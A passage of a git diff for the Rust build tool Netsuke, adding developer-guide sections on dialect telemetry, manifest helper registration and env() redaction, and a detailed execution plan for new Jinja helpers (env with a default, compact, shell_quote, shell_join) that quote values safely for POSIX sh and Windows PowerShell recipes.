+`src/stdlib/recipe_text/mod.rs` — so that boundary is also the single telemetry +point. `record_dialect` returns the resolved dialect unchanged and counts the +resolution exactly once, whether the call site named a dialect or omitted it. + +The counter is `netsuke_manifest_shell_quote_dialect_total`, with two labels. +`dialect` is drawn from the closed set `sh` and `powershell`, and `source` from +`explicit` and `default`. Both are the module constants `DIALECT_VALUES` and +`DIALECT_SOURCE_VALUES`, re-exported through `netsuke::stdlib`, so the series +count is fixed at four by the module rather than by anything a manifest +supplies. Nothing else is recorded: no template source, no manifest text, and +no rendered value. + +The `source` label is the reason the series exists. A call that omits `dialect` +receives a host- and configuration-dependent default, so the rendered text of +such a manifest can change between hosts or releases with no manifest edit — +ADR-041 records this as the accepted cost of the two-dialect surface. Nothing +else aggregates that population: the affected manifests are otherwise +indistinguishable from those that pin the dialect, and the difference is +invisible in the generated Ninja. Counting it makes the exposed set measurable, +which turns "pin your dialect" from advice into something an operator can size. +The counter's description is registered once per process behind a `Once`. + +The application recorder in `src/observability_recorder.rs` admits the series: +`SHELL_QUOTE_DIALECT_TOTAL` is listed in `accepts_name` and matched in +`accepts_stdlib_counter_registration`, the private helper grouping the +standard-library counter rules, against exactly those two label sets, so the +counter survives into the process snapshot rather than being discarded as a +noop handle. **The admission step is the silent one**: an unadmitted name or +label value yields a `Counter::noop` handle, so the build, the lint, and every +other test still pass while the counter records nothing. The test for it +therefore drives the real filters under a local recorder and asserts the +increments arrive, rather than recording the series by hand — a hand-recorded +series would pass even if no filter ever called the recorder. + +Tests sit beside the boundary: the `tests` module in +`src/stdlib/recipe_text/dialect_telemetry.rs` pins the label vocabularies to +`ShellDialect::ALL`, the set the encoder can actually produce, since the +recorder imports them as `'static` arrays that cannot be derived from that enum +at compile time. `src/observability_recorder_dialect_tests.rs` drives both +filters through `shell_quote_dialect_total` under the production recorder and +proves the four bounded series are retained while an out-of-vocabulary value, a +missing label, and an unlabelled series are rejected. + ## Digest rendering `src/hex.rs` (`netsuke::hex`) is the single owner of lowercase hexadecimal @@ -7842,14 +8043,48 @@ yardstick for production cache keys. ## Manifest processing helpers +### Manifest helper registration + +`src/manifest/registration.rs` holds the two helpers that bind the manifest's +own Jinja functions: + +- `register_env_function(jinja, env_reader, env_access_policy)` clones the + `Arc` and the policy into the closure and installs + `jinja.add_function("env", ...)`. The clone is what lets the registered + helper outlive the parse inputs it was built from: MiniJinja keeps the + function for the life of the environment, while the reader and the policy + arrive as borrows. +- `register_glob_function(jinja, manifest_root)` builds a `GlobBaseCache` from + the optional root and installs `add_function("glob", ...)`. A `None` root + leaves relative patterns anchored at the process current directory, which is + the composition root's fallback. + +`evaluate_manifest` owns the literal registration order: it calls both helpers, +then installs the stdlib, then calls `register_manifest_vars`, and only then +`register_manifest_macros` and `expand_foreach`. `from_str_named` reaches that +function through the budget adapter, which adds exhaustion telemetry for full +loads. + +Argument validation stays in the closure, not in the leaf. The closure is the +only place holding a MiniJinja `Kwargs`, so reading the optional `default` and +asserting that no keyword argument is left over happen there, before the leaf +is reached; a rejected argument therefore never reaches the lookup counter. Two +different diagnostics come out of that validation, and only the first is +Netsuke's: a defined non-string `default` is rejected by `default_as_string` +with the localized `manifest.env.default_not_string`, while a leftover keyword +is rejected by MiniJinja's own `Kwargs::assert_all_used`, raising +`ErrorKind::TooManyArguments` with the engine's `unknown keyword argument` text. +`env_args_message` and the `manifest.env.args_error` key wrap only the first. +The leaf function is deliberately Jinja-free, taking a plain read closure, +which is what lets its error mapping be unit-tested directly. + ### Variable registration -`register_manifest_vars` runs inside `from_str_named` immediately after the -stdlib is installed in the MiniJinja environment and before -`register_manifest_macros` and `expand_foreach`. Registering the manifest's -`vars` first is what makes those variables visible to macro bodies, to -`foreach` and `when` expressions, and to every string field rendered later by -`render_manifest`. +`register_manifest_vars` runs after the stdlib is installed in the MiniJinja +environment and before `register_manifest_macros` and `expand_foreach`. +Registering the manifest's `vars` first is what makes those variables visible +to macro bodies, to `foreach` and `when` expressions, and to every string field +rendered later by `render_manifest`. The helper is a no-op when the manifest omits `vars`. When the key is present it must deserialize to a JSON object; a list or a scalar produces a localized @@ -7955,7 +8190,9 @@ template and installs both the import declaration used by reference and resolves it against the active MiniJinja state on each invocation, so it must not be treated as a reusable global template cache. Errors remain at the manifest boundary and retain their localized failure -category. +category. These are the two boundaries +[Manifest telemetry: template render and macro invocation](#manifest-telemetry-template-render-and-macro-invocation) +instruments. ### Manifest telemetry: template render and macro invocation @@ -8007,8 +8244,10 @@ values, and environment variable names must never reach telemetry. Manifest content is caller-controlled and unbounded, so recording it in a metric label would make the metric series unbounded, and recording it in a span or event risks leaking secrets — environment variable names routinely identify -credentials. This mirrors the redaction rule `env_var_with` already applies to -`env()` lookup failures; see [Manifest `env()` reader](#manifest-env-reader). +credentials. This mirrors the redaction rule `env_var_with_default` already +applies to `env()` lookup failures, including the fallback-substitution event, +which carries only the boolean `fallback_used` and neither the variable name +nor its value; see [Manifest `env()` reader](#manifest-env-reader). `describe_macro_metrics` and `describe_render_metrics` register each metric's description exactly once, guarded by `std::sync::Once`. Neither is called from diff --git a/docs/execplans/3-14-8-jinja-command-helpers-to-match-documented-ergonomics.md b/docs/execplans/3-14-8-jinja-command-helpers-to-match-documented-ergonomics.md new file mode 100644 index 000000000..1d6046321 --- /dev/null +++ b/docs/execplans/3-14-8-jinja-command-helpers-to-match-documented-ergonomics.md @@ -0,0 +1,6075 @@ +# Make Jinja command helpers match the documented ergonomics (3.14.8) + +This ExecPlan (execution plan) is a living document. The sections `Constraints`, +`Tolerances (exception triggers)`, `Risks`, `Progress`, +`Surprises & discoveries`, `Decision log`, `Outcomes & retrospective`, +`Conformance basis`, and `Verification plan` must be kept up to date as work +proceeds. + +Status: COMPLETE + +## Purpose / big picture + +Netsuke manifests are YAML documents whose string fields are rendered as Jinja +templates before the build graph is built. Netsuke's design documents promise +four template helpers that do not exist in the code: an `env()` function that +accepts a fallback value, a filter that makes an arbitrary string safe to paste +into a shell recipe, a filter that turns a list into a safe command fragment, +and a filter that drops empty entries from a list. Today `env('X')` fails the +whole build when `X` is unset, and there is no supported way to quote a value, +so manifest authors reach for shell parameter expansion such as +`${RUSTFLAGS:+$RUSTFLAGS }` inside recipes. That is exactly the construct +Netsuke's Ninja backend has to escape around, and it does not work at all on +Windows, where recipes run under Windows PowerShell. + +After this change a manifest author can write, in a `Netsukefile`: + +```yaml +# POSIX recipe shell (`sh`). The `VAR=value cmd` prefix and `&&` below are +# POSIX forms: a Windows PowerShell manifest sets `$env:RUSTFLAGS` before the +# command and chains with `if ($?) { ... }`, and quotes for `dialect='powershell'`. +targets: + - name: build-stamp + command: >- + RUSTFLAGS={{ [base_flags, env('RUSTFLAGS', default='')] + | compact | join(' ') | shell_quote(dialect='sh') }} + cargo build && touch {{ outs }} +``` + +Two details of that example are load-bearing and were wrong in the first draft +of this plan. + +- The interpolation sits in **unquoted** position. `shell_quote` produces a + complete shell word; putting it inside `"..."` would insert its quote + characters literally and corrupt the value. This is a precondition of the + filter, not a stylistic choice, and it is documented as such. +- The recipe is **POSIX-only, and the example says so**. `VAR=value cmd` is a + POSIX prefix assignment that Windows PowerShell does not accept, so this + example was never portable to PowerShell however its commands were chained — + `touch` is likewise not a Windows command. `docs/users-guide.md:365-366` + states the Windows contract is Windows PowerShell, "not a PowerShell Core + (`pwsh`) contract"; the comment above the snippet gives that dialect's + equivalents, and the example pins `dialect='sh'` explicitly because D10 + requires a pinned dialect for byte-stable output. Within a POSIX shell `&&` + is available and is used, so a failed `cargo build` does not create the + stamp. The first draft used `;` and justified it as keeping the example + runnable on Windows; that rationale was false — `;` made the recipe's exit + status that of `touch`, so the build failure was swallowed and the stamp was + written anyway. The cross-dialect requirement is real for *other* recipes, + and it is why `dialect` defaults to the active `RecipeShell` (D2) rather than + always to `sh`. + +Given that manifest, observe that: + +1. `netsuke generate` succeeds whether or not `RUSTFLAGS` is set in the + environment. +2. When `RUSTFLAGS` is unset, the generated `build.ninja` carries + `RUSTFLAGS=-D' warnings'` — one shell word, no empty argument, and no + `${...:+...}` expansion. That spelling is the `shell-quote` crate's + fragmented form; see the note under the behavioural specification. +3. When `RUSTFLAGS` is set to `-C target-cpu=native --cfg 'a b'`, the generated + command still contains exactly one shell word for the value, and running the + build passes that exact string to `cargo` rather than word-splitting it. +4. The `shell_escape` filter that the user guide currently describes as "not + implemented" no longer appears anywhere; the guide names `shell_quote`, and + `shell_quote` exists. + +The observable acceptance is behavioural, not structural: a documented, +executed example in `docs/stdlib-yaml-and-jinja-guide.md` builds this exact +manifest and asserts the generated Ninja text. + +## Context and orientation + +Read this section before touching anything. It assumes no prior knowledge of +this repository. + +### What Netsuke does + +Netsuke reads a YAML manifest (`Netsukefile`), renders every string field as a +Jinja template using the [MiniJinja](https://docs.rs/minijinja) crate, lowers +the result into an intermediate representation (IR), and writes a `build.ninja` +file that the [Ninja](https://ninja-build.org/) build tool executes. "Jinja" is +a template language; a *filter* is written `value | name(arguments)` and a +*function* is written `name(arguments)`. + +### Where the template helpers live + +There are three registration surfaces, all reachable from +`src/manifest/mod.rs::from_str_named` (lines 107-178): + +1. `src/manifest/mod.rs:137-139` registers `env` and `glob` directly on the + `minijinja::Environment`. These two names are manifest-loader-owned, not + part of the standard library, and are listed in `RESERVED_VAR_NAMES` + (`src/manifest/mod.rs:191-198`) so a manifest `vars:` entry cannot shadow + them. +2. `src/stdlib/register.rs::register_with_config` (line 101) wires the full + standard library: file tests, path filters, collection filters, time + functions, network functions, command wrappers, and the `which` family. +3. `src/stdlib/register.rs::register_manifest_query` (line 135) wires a + restricted, side-effect-free subset used when rendering discovery metadata + for `netsuke help targets`. It does not merely omit the unsafe helpers: it + re-registers each one with a stub that always fails + (`register_always_disabled_query_helpers`, line 172, and + `register_host_dependent_query_helpers`, line 213). `env` is one of those + stubs, at `src/stdlib/register.rs:181-184`. + +There is **no test asserting parity** between surfaces 2 and 3. Adding a helper +to one and forgetting the other is caught only by review. This plan adds +targeted coverage for the four helpers it introduces; a general parity test is +out of scope. + +### How `env()` works today + +`src/manifest/mod.rs:134-139`: + +```rust +let reader = Arc::clone(env_reader); +jinja.add_function("env", move |var_name: String| { + env_var_with(&var_name, |key| reader(key)) +}); +``` + +`EnvReader` is `Arc Result + Send + Sync>` +(`src/manifest/env_reader.rs:61`). It exists because Netsuke forbids reading +`std::env::var` outside a thin injected seam; see +`docs/adr-008-environment-seam-taxonomy.md`, which names this exact site as the +canonical `Arc`-closure seam (the `Arc` is required because MiniJinja's +`add_function` demands `Send + Sync`). + +`env_var_with` (`src/manifest/env_reader.rs:133-172`) maps the failure modes. +There are now **three**, not two: since commit `0ba6672f` the ADR-026 access +policy is evaluated first, so a blocked name is a fourth outcome alongside the +two `EnvReadError` variants, and the reader is never called for it. + +```rust +Err(EnvReadError::NotPresent) => { + tracing::debug!(failure_kind = "not_present", "manifest env lookup failed"); + Err(Error::new( + ErrorKind::UndefinedError, + localization::message(keys::MANIFEST_ENV_MISSING).to_string(), + )) +} +Err(EnvReadError::NotUnicode) => { + tracing::debug!(failure_kind = "not_unicode", "manifest env lookup failed"); + Err(Error::new( + ErrorKind::InvalidOperation, + localization::message(keys::MANIFEST_ENV_INVALID_UTF8).to_string(), + )) +} +``` + +Neither message names the variable, deliberately: the doc comment at +`src/manifest/env_reader.rs:121-127` explains that variable names "routinely +identify credentials". Two `insta` snapshots pin the rendered strings exactly, +at `tests/manifest_env_tests.rs:108-122`: + +```text +undefined value: A required environment variable is not set. (in :1) +invalid operation: An environment variable contains invalid UTF-8. (in :1) +``` + +An existing unit test, `empty_value_is_returned_rather_than_treated_as_missing` +(`src/manifest/tests/env_function.rs`), pins that an empty string is a *value*, +not an absence. + +### Which shell actually runs a recipe + +This is the single most important fact for the quoting design, and it is not +what a reader would assume. + +`src/recipe_shell.rs` defines: + +```rust +pub enum RecipeShell { + /// Use the host POSIX shell through Ninja's ordinary Unix execution path. + Posix, + /// Use Windows PowerShell with an encoded script argument. + PowerShell, + /// Use an explicitly selected Bash compatibility runtime on Windows. + Bash, +} + +impl RecipeShell { + pub(crate) const fn host_default() -> Self { + if cfg!(windows) { Self::PowerShell } else { Self::Posix } + } +} +``` + +On Windows, Netsuke wraps every recipe as +`powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass +-EncodedCommand ` +(`src/ninja_gen_recipe_shell.rs:16-17`). It never uses `cmd.exe`. +`docs/users-guide.md:331-399` ("Windows legacy recipe contract") states this +normatively. On Unix the command is emitted bare for Ninja to run through its +own POSIX path. + +A Windows user may set `NETSUKE_WINDOWS_SHELL=bash` to select an explicit Bash +compatibility runtime (`src/runner/recipe_shell.rs:24-58`). The runner resolves +this once, before dispatch (`src/runner/mod.rs:130-160`), and threads the +result through `ExecutionContext.graph_generation.recipe_shell` into IR lowering +(`src/runner/generation.rs:41-66`) and Ninja generation +(`src/runner/generation.rs:128-145`). + +Consequently, POSIX `sh` quoting is correct for `RecipeShell::Posix` and +`RecipeShell::Bash`, and **wrong** for `RecipeShell::PowerShell`. + +### The quoting that already exists + +There are **five** distinct encoders today, not three. Getting this inventory +right matters, because the plan's central promise is that it adds none. +`docs/developers-guide.md:445-458` documents only the last three. + +1. `src/ir/cmd_interpolate/mod.rs::quote_path` (lines 137-150) quotes + `{{ ins }}` and `{{ outs }}` for the selected `RecipeShell` in an + **unquoted** recipe context: + + ```rust + fn quote_path(path: &Utf8PathBuf, shell: RecipeShell) -> String { + if shell == RecipeShell::PowerShell { + return format!("'{}'", path.as_str().replace('\'', "''")); + } + // Utf8PathBuf guarantees UTF-8, and shell quoting should preserve it. + let bytes: Vec = path.as_str().quoted(Sh); + match String::from_utf8(bytes) { /* ... */ } + } + ``` + + This is the semantics the new template helpers need, and **this one encoder + is the only one this plan extracts.** + +2. `PathSubstitutions::new` (`src/ir/cmd_interpolate/mod.rs:82-103`) builds a + `single_quoted` variant by `path.replace('\'', "'\"'\"'")`, for a + placeholder appearing inside existing single quotes. + +3. `quote_double_quoted_path` (`src/ir/cmd_interpolate/mod.rs:154-163`) + backslash-escapes `\`, `"`, `$`, and `` ` `` for a placeholder inside + existing double quotes. + + Encoders 2 and 3 are *context* encoders for the same POSIX shell. They are + out of scope: they solve a different problem (splicing into a surrounding + quote) from the one the template filters solve (producing a complete word). + +4. `src/stdlib/command/quote.rs::quote` is `#[cfg(windows)]`/ + `#[cfg(not(windows))]` and produces `cmd.exe` quoting on Windows. It + supports the `shell` and `grep` template filters, which *spawn a process* + through the platform shell at manifest-render time. It is not exposed to + templates and must keep its `cmd.exe` behaviour. + +5. `shell_single_quote` in the Ninja command-list renderer produces a canonical + single-quoted `eval` payload. `docs/developers-guide.md:449-454` explicitly + says to keep it local and not generalize it. + +The `shell-quote` crate is pinned at `Cargo.toml:137` with +`default-features = false, features = ["sh"]`, so only the `Sh` dialect is +compiled in. `Sh::quoted` returns `Vec` (not `String`), which is why both +call sites convert. + +### What the documentation currently promises + +`docs/netsuke-design.md` §4.4 (lines 1263-1346) specifies +`env(var_name, default: Option)` and says the `default` argument is +"planned". §4.5 (lines 1347-1373) specifies three unimplemented filters: + +- `| shell_escape`: "takes a string or list and escapes it for safe inclusion + as a single argument in a shell command … a non-negotiable security feature". +- `| shell_join`: "accepts a list of arguments and returns one shell-safe + command fragment. Each list element is quoted as a separate argument." +- `| compact`: "removes empty strings and null values while preserving order. + It supports patterns such as constructing `RUSTFLAGS` from an optional user + override without handwritten shell tests." + +`docs/users-guide.md:489-491` says "The `shell_escape` filter described in +older drafts is not implemented in beta3." +`docs/stdlib-yaml-and-jinja-guide.md:341-343` says `env(name)` has "no +default-value argument". + +`docs/rfcs/0006-ansible-inspired-template-standard-library.md:1393-1409` +supersedes the `shell_escape` name: + +> `text | shell_quote(dialect='sh')` … **This is the same capability as the +> `shell_escape` helper documented but unimplemented today**, which roadmap task +> 3.14.8 exists to resolve. That task remains the owner and ships first; this +> RFC contributes only the canonical name and the `dialect` argument. + +`docs/netsuke-design.md:681-690` already writes the target ergonomics into an +illustrative manifest: + +```yaml +RUSTFLAGS: >- + {{ [rust_flags, env('RUST_FLAGS', default='')] | compact | join(' ') }} +``` + +### Localization is a hard gate + +Every user-facing string is a Fluent message. Adding one means: + +1. adding a constant to the `define_keys!` block in + `src/localization/keys.rs`, and +2. adding the message to **all 35** catalogues under + `locales//messages.ftl` with an identical `{ $variable }` name set. + +`build.rs:291` calls `build_l10n_audit::audit_localization_keys()` +unconditionally. Missing a catalogue fails `cargo build` — not a test, the +build — with one `- missing in : ` line per locale. See +`docs/developers-guide.md:285-302` and `docs/translators-guide.md`. + +### Testing infrastructure + +- Unit and integration tests run under `cargo-nextest` (`make test-nextest`), + which gives each test its own process. Doctests run separately + (`make doctest`). `make test` is both. +- `proptest` is used widely. The house idiom is a `proptest!` block opening + with an inner attribute that sets `ProptestConfig { cases: 128, .. }` — see + `src/ninja_gen_property_tests/dependency_only.rs` in full. Regression seeds + live under `proptest-regressions/`, mirroring the `src/` path. +- `rstest-bdd` feature files live in `tests/features/*.feature` and are + auto-discovered by `scenarios!("tests/features", ...)` in + `tests/bdd_tests.rs`. **New `.feature` files need no registration**; new step + *modules* need a `mod` line in `tests/bdd/steps/mod.rs`. + `tests/features/stdlib.feature` and `tests/bdd/steps/stdlib/` are the + existing template-helper suite. +- `insta` snapshots live in `src/snapshots//` and + `tests/snapshots//`, with the path set explicitly via + `Settings::set_snapshot_path`. +- `googletest` matchers (`assert_that!(x, contains_substring(y))`) and + `pretty_assertions::assert_eq` are both in use; see + `src/cli/discovery_layer_tests.rs:10-11` and lines 140-178. +- **Documented examples are executed.** A fenced block in `README.md`, + `docs/users-guide.md`, or `docs/stdlib-yaml-and-jinja-guide.md` must be + preceded by ``. The loader is + `tests/documentation_examples/mod.rs`; the id must also be added to + `EXPECTED_EXAMPLE_IDS` in `tests/documentation_examples_tests.rs:18-61` or + the suite fails with "documented example registry drifted". YAML examples are + run as real manifests via `manifest_workspace(id)`. +- `tests/integration_test_wiring_tests.rs` asserts every `tests//mod.rs` + tree is declared by some top-level `tests/*.rs`, and that Cargo discovers + every top-level integration-test source. + +### Non-negotiable house rules that bear on this work + +From `AGENTS.md` and `docs/adr-008-environment-seam-taxonomy.md`: + +- In-process environment mutation is forbidden in tests. Inject `EnvReader`, + `mockable::Env`, or a narrow closure seam. `serial_test` and process-wide + locks are not an escape hatch. +- No file may exceed 400 lines. +- Every module needs a `//!` comment; every function, public or private, needs + a `///` comment. `make doc-coverage` enforces an 80% aggregate. +- The toolchain enables the Polonius borrow checker and the next-generation + trait solver. Do not add NLL-era workarounds (double lookups, + `entry(key.clone())`, defensive `.clone()`), and do not add `-Z` flags. +- Markdown prose wraps at 80 columns; code blocks at 120. `make check-fmt` + enforces `mdtablefix`-canonical Markdown. `make markdownlint` runs `typos` + with en-GB-oxendict (Oxford) spelling; backtick technical identifiers rather + than widening the accepted-word list. + +### Applicability of `ortho_config` + +`ortho_config` provides layered configuration with localized help. This change +adds no command-line flag and no configuration key: the recipe-shell selection +it depends on is already resolved from `NETSUKE_WINDOWS_SHELL` in +`src/runner/recipe_shell.rs`, which is a runner-level environment seam, not a +configuration layer. `ortho_config` is therefore **not used** by this work. If +a reviewer believes a `dialect` default belongs in project configuration, that +is a scope change: stop and escalate rather than adding a configuration key. + +## Conformance basis + +There is no Terms of Reference artefact in this repository. The upstream +artefacts are: + +| Identifier | Artefact | Revision anchor | +| --------------- | ------------------------------------------------------------ | -------------------- | +| `RM-3.14.8` | `docs/roadmap.md` lines 367-380 | at commit `ebcedaef` | +| `RM-6.8.3` | `docs/roadmap.md` lines 1189-1196 | at commit `ebcedaef` | +| `DD-4.4` | `docs/netsuke-design.md` §4.4, lines 1272-1355 | at commit `ebcedaef` | +| `DD-4.5` | `docs/netsuke-design.md` §4.5, lines 1356-1382 | at commit `ebcedaef` | +| `DD-2.6` | `docs/netsuke-design.md` §2.6, lines 602-749 | at commit `ebcedaef` | +| `RFC-0006-8.9` | `docs/rfcs/0006-…md` lines 1396-1412 | at commit `ebcedaef` | +| `RFC-0006-13.3` | `docs/rfcs/0006-…md` line 1837 | at commit `ebcedaef` | +| `ADR-008` | `docs/adr-008-environment-seam-taxonomy.md` | Accepted 2026-08-06 | +| `ADR-014` | `docs/adr-014-backend-text-escaping-seam.md` | Accepted | +| `ADR-026` | `docs/adr-026-manifest-environment-access-policy.md` | Accepted 2026-09-17 | +| `UG-WIN` | `docs/users-guide.md:358-485` Windows legacy recipe contract | at commit `ebcedaef` | + +The anchors were re-taken against commit `0ba6672f` after the branch rebased +onto `origin/main`. The pre-rebase anchors (`81d44f89`) have moved: `RM-3.14.8` +was at 282-295, `RM-6.8.3` at 1103-1110, `DD-4.4` at 1233-1307, `DD-4.5` at +1309-1334, `DD-2.6` at 630-700, and `UG-WIN` at 330-348. `RFC-0006-8.9` and +`RFC-0006-13.3` did not move. + +A second rebase moved the base on to `ebcedaef` (the `origin/main` head), and +every reference anchor was re-taken against it. The deltas are not uniform — +the roadmap moved by +24 and +27, the design document by a flat +9, the RFC by +a flat +3 — so nothing was extrapolated; each anchor was re-measured by content. +`DD-2.6`, `DD-4.4`, `DD-4.5`, and both RFC citations were confirmed by diffing +the cited body between the two commits: all four design sections and both RFC +spans are byte-identical, so only the offset moved. `DD-4.5`'s end is the full +section (`### 4.6` follows at 1383), not a truncation, so 1382 is simply 1373 +shifted. + +`UG-WIN` is the one anchor whose *span* changed rather than just shifting. At +`0ba6672f` the plan's 331-399 was already a truncation: the section +(`### Windows legacy recipe contract`) ran 331-458, and 399 was merely the +sentence "do not rely on a workflow-wide `shell: bash` setting." The section +body is byte-identical between the two commits, so the faithful shift of that +truncation would be 358-426. The table instead records 358-485, the full +section, because the section end is the stronger anchor and the terminal line +was an arbitrary stopping point rather than a cited claim. + +Every citation in this plan that names a document line number is therefore in +the `ebcedaef` frame; a citation whose file has since grown is a pointer, not a +claim, and the section heading is authoritative. + +Those anchors were **not** re-taken again at the `ebcedaef` rebase, and the +distinction matters. A citation into a *reference* document — an ADR, a design +chapter, the roadmap — is a pointer whose target the plan does not control, so +re-taking it after upstream moves the file is the honest repair. A citation +into a line of **this branch's own source** is a different object: it names a +line this branch wrote, so a drift there means the branch's own commit changed +shape and is a finding rather than housekeeping. Both `cmd_interpolate/mod.rs` +and `ninja_gen_escape.rs` are files the branch edits, and both were re-checked +against post-rebase `HEAD`: `validate_ninja_value` stayed at +`src/ninja_gen_escape.rs:47`, and `quote_path` moved `138` → `137` solely +because upstream's version of `cmd_interpolate/mod.rs` carries a three-line +module header where the merge-base had four. That citation was corrected in +place; the absence of any other correction is the claim that no other +branch-owned line number moved. + +`ADR-026` is a new upstream artefact for this plan. It bounds the `env()` port +that EP-M1 extends and is the governing decision for `EnvAccessPolicy`. + +Predecessors `2.2.4` (archived, +`docs/archive/roadmap-completed-foundations.md:125`) and `3.14.4` +(`docs/roadmap.md:307`) are both complete, so `RM-3.14.8` is unblocked. + +Trace chain: + +```plaintext +RM-3.14.8 -> DD-4.4 + ADR-026 -> EP-M1 + -> tests::manifest_env::env_default_cases + (constraint 12: a blocked name is not an absence and takes no default) +RM-3.14.8 -> DD-4.5 (compact) -> EP-M2 -> tests::std_filter::compact_property +RM-3.14.8 -> DD-4.5 (shell_escape) + RFC-0006-8.9 -> EP-M3, EP-M4 + -> tests::shell_quote::sh_roundtrip_property +RM-3.14.8 -> DD-4.5 (shell_join) -> EP-M4 -> tests::shell_join::shlex_roundtrip +UG-WIN + ADR-014 -> EP-M3, EP-M4 -> tests::shell_quote::dialect_follows_recipe_shell +RM-3.14.8 (RUSTFLAGS) -> DD-2.6 -> EP-M5 + -> tests::documentation_examples::stdlib-optional-rustflags-manifest +RM-6.8.3 -> EP-M3 (name and dialect adopted early) -> ADR-041 +``` + +## Constraints + +These are hard invariants. Violating one requires escalation, not a workaround. + +1. The rendered text of the two existing `env()` diagnostics must not change. + `tests/manifest_env_tests.rs:108-122` holds `insta` inline snapshots of + both; they must still pass **without being re-accepted**. Absence with no + default stays `ErrorKind::UndefinedError`; a non-UTF-8 value stays + `ErrorKind::InvalidOperation` *even when a default is supplied*. +2. An environment variable whose value is the empty string is a value, not an + absence. `default` must never replace it. +3. Generated Ninja text for every existing manifest must remain byte-identical. + No `.snap` file under `tests/snapshots/ninja/` may change. +4. Exactly one implementation of recipe-shell word quoting may exist. The + `cmd.exe` quoting in `src/stdlib/command/quote.rs` and the `eval`-payload + `shell_single_quote` are separate, documented paths and must keep their + current behaviour; do not fold them in and do not add a fourth. +5. No test may call `std::env::set_var` or `remove_var`, directly or through a + helper, and no production code may call `std::env::var`/`var_os` outside an + injected seam. `clippy.toml` already denies these. +6. Every new user-facing string is a Fluent message present in all 35 + catalogues with a matching `{ $variable }` set. +7. Two contracts are in scope and they are governed differently. + **(a) The Rust API** — `StdlibConfig`, `netsuke::manifest::*`, + `RecipeShell` — is pre-1.0 with no external consumers, so changes are + permitted, no compatibility alias or deprecated entry point may be added, + and every caller is updated in the same change. **(b) The Jinja template + surface** — helper names, argument names, and rendered output — is a + user-facing contract independent of the crate version. A `Netsukefile` is + written by people who never see the crate. Nothing in this plan removes or + renames a template name any manifest can be using: `shell_escape` is + documented but has never existed, which Stage A step 1 verifies. Any future + change to a *shipped* template name or its output needs a deprecation path, + and none exists yet. Whether `netsuke_version` should gate the template + surface is an open question this plan does not answer. +8. No file exceeds 400 lines. No `-Z` compiler flag is added anywhere. +9. `make check-fmt`, `make typecheck`, `make lint`, `make doc-coverage`, and + `make test` must all pass at every milestone boundary. +10. `shell_quote` and `shell_join` must never emit a dialect that differs from + the interpreter which will execute the recipe. This is the whole point of + the feature; see the silent-corruption path in R11. +11. Changes under `locales/**` are never "docs-only" for gating purposes. The + localization audit runs in `build.rs`, so a gate that skips the Rust build + for a translation-only diff would skip the audit that protects it. +12. `env(name, default=…)` must not weaken the ADR-026 access policy. A name + the policy blocks fails, with or without a `default`. A `default` is + substituted for *absence* only, and a policy denial is not an absence. This + constraint was added during post-rebase reconciliation: the plan's original + `env_var_with` signature had no policy parameter, so the interaction did not + exist when the plan was written, and a naive implementation would map + `NotPresent` to the fallback before consulting the policy. A blocked name + must also stay absent from every diagnostic and from the substituted value. +13. Every new metric series must be admitted by `ConfigMetricsRecorder` in + `src/observability_recorder.rs` — both its `matches!` name list and its + `exact_labels` vocabulary — or it is silently dropped as a noop handle. + This is the same class of failure as constraint 6's missing catalogue + entry, but it fails *quietly*: the build, the lint, and the tests all pass + while the counter records nothing. See EP-M5's counters step. + +## Tolerances (exception triggers) + +Stop and escalate — do not improvise — when any of these is reached. + +1. **Scope**: more than 50 non-generated files changed, or more than 1000 net + added lines outside `locales/` and `docs/`. (The 35 catalogues alone + contribute roughly 385 lines; they do not count against this.) +2. **Interface**: a public signature outside `src/manifest/`, + `src/stdlib/config/`, and the manifest-loading entry points must change; or + `RESERVED_VAR_NAMES` must grow. EP-M4's runner plumbing changes the + manifest-loading signatures; that breach is foreseen, recorded in EP-M4, and + needs no escalation. Any *further* public signature change does. +3. **Dependencies**: any new entry in `Cargo.toml`. The plan needs none: + `shell-quote`, `shlex`, `proptest`, `rstest`, `rstest-bdd`, `insta`, + `googletest`, `pretty_assertions`, and `mockable` are all present. +4. **Behaviour**: any existing `.snap` file requires re-acceptance, or any + existing test requires modification beyond adding cases. +5. **Iterations**: a gate still fails after 3 focused fix attempts on the same + milestone. +6. **Time**: a single milestone exceeds 6 hours of work. +7. **Ambiguity**: a second reading of `RFC-0006-8.9` or `DD-4.5` would produce a + materially different template surface. +8. **Verification**: the real-shell round-trip property (OBL-SH-ROUNDTRIP) + cannot be made to run in the sandbox, or its negative control passes. + +## Risks + +- **R1 — Translation burden.** Eleven new message keys across 35 catalogues is + roughly 385 handwritten lines, and `build.rs` fails the build for any + omission. Severity: medium. Likelihood: high. Mitigation: add every key and + every catalogue entry in one commit per milestone that introduces them; follow + `docs/localization-styleguide.md` and `docs/translators-guide.md` §5 for + variable usage; copy the bracketed `[netsuke::jinja::…]` code verbatim into + each translation, as `locales/fr/messages.ftl:343-347` does; run + `cargo build` (not just `cargo check`) to trigger the audit early. Decision + D11 records the alternative that would cut this to one key. +- **R2 — Refactoring `quote_path` changes generated Ninja.** Extracting the + quoting into a shared module could alter bytes. Severity: high. Likelihood: + low. Mitigation: the extraction is a pure move. Before and after, run + `make test-nextest` and confirm + `git status --short tests/snapshots src/snapshots` is empty. Constraint 3 + makes any diff an escalation. +- **R3 — RFC 0006 is being restructured concurrently.** Branch + `6-1-1-split-rfc-0006-set-into-focused-child-rfcs-and-task` exists on the + remote and touches the same RFC. Severity: medium. Likelihood: medium. + Mitigation: keep the RFC 0006 edit to the two paragraphs at lines 1393-1409 + and 1834; rebase onto `origin/main` immediately before requesting review; if + the RFC has been split by then, apply the same edit to whichever child RFC + owns §8.9 and record the redirection in `Decision log`. +- **R4 — Host-dependent filter output breaks snapshots.** `shell_quote` with no + explicit `dialect` produces different text on Windows. Severity: medium. + Likelihood: high if unguarded. Mitigation: every snapshot and every + documented example passes an explicit `dialect`, or is gated with + `#[cfg(unix)]`. The host-default behaviour is covered only by tests that + assert *which dialect was selected*, not its output. +- **R5 — Subprocess property tests are slow. Measured: they are not.** + Severity: low. Likelihood: low. Evidence: 64 real `sh -c 'printf %s x'` + invocations complete in about 86 ms on this machine, and one `sh -c` costs + roughly 1 ms. Even at five times that, to allow for `std::process::Command` + overhead and case generation, 64 cases land near half a second — two orders + of magnitude under the 10-second budget and far under nextest's 60-second + slow-test threshold. Mitigation: keep `cases: 64` for the subprocess property + and the house default of 128 for the pure `shlex` properties, and do **not** + build a batching harness. Batching would break proptest's per-case shrinking, + which needs to re-run one input in 